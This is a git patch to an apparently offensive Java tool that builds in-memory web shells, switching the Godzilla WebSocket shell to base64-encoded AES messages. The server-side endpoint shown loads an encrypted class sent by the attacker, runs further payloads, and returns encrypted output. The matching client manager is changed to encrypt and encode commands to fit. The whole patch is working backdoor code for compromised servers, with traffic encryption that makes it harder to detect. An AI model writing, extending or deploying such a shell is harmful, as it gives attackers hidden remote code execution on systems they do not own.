From eeed6e45c7b549c2ce1d76691cfbfa09d616bb63 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 22 May 2025 21:55:20 +0800 Subject: [PATCH] fix: support AES_BASE64 GodzillaWebSocket by default --- .../shelltool/godzilla/GodzillaWebSocket.java | 51 ++++++++++++++++--- .../javaweb/godzilla/GodzillaManager.java | 10 ++-- 2 files changed, 50 insertions(+), 11 deletions(-) diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java index c1dd7748..27866a04 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java @@ -9,13 +9,12 @@ import javax.websocket.Session; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; -import java.nio.ByteBuffer; /** * @author ReaJason * @since 2025/5/9 */ -public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole { +public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole { public static String key; private Session session; @@ -45,28 +44,64 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole< } @Override - public void onMessage(ByteBuffer byteBuffer) { + public void onMessage(String message) { try { - byte[] data = byteBuffer.array(); + byte[] data = base64Decode(message); data = x(data, false); - byte[] response = new byte[0]; if (payload == null) { payload = Q(data); + session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true))); } else { java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream(); Object obj = payload.newInstance(); obj.equals(data); obj.equals(bos); obj.toString(); - response = bos.toByteArray(); + session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true))); } - session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(response, true))); } catch (Throwable e) { - e.printStackTrace(); try { session.close(); } catch (java.io.IOException ignored) { } } } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder", true, Thread.currentThread().getContextClassLoader()); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } } diff --git a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index 369bc392..d03784bb 100644 --- a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -196,7 +196,9 @@ public class GodzillaManager implements Closeable { } if (isWs()) { try { - BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes)); + byte[] aes = aes(this.key, bytes, true); + String base64String = Base64.encodeBase64String(aes); + BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String); return true; } catch (Exception e) { e.printStackTrace(); @@ -226,8 +228,10 @@ public class GodzillaManager implements Closeable { } if (isWs()) { - byte[] bytes1 = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes)); - byte[] x = aes(key, bytes1, false); + byte[] aes = aes(this.key, bytes, true); + String base64String = Base64.encodeBase64String(aes); + String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String); + byte[] x = aes(key, Base64.decodeBase64(response), false); GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x)); return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8)); }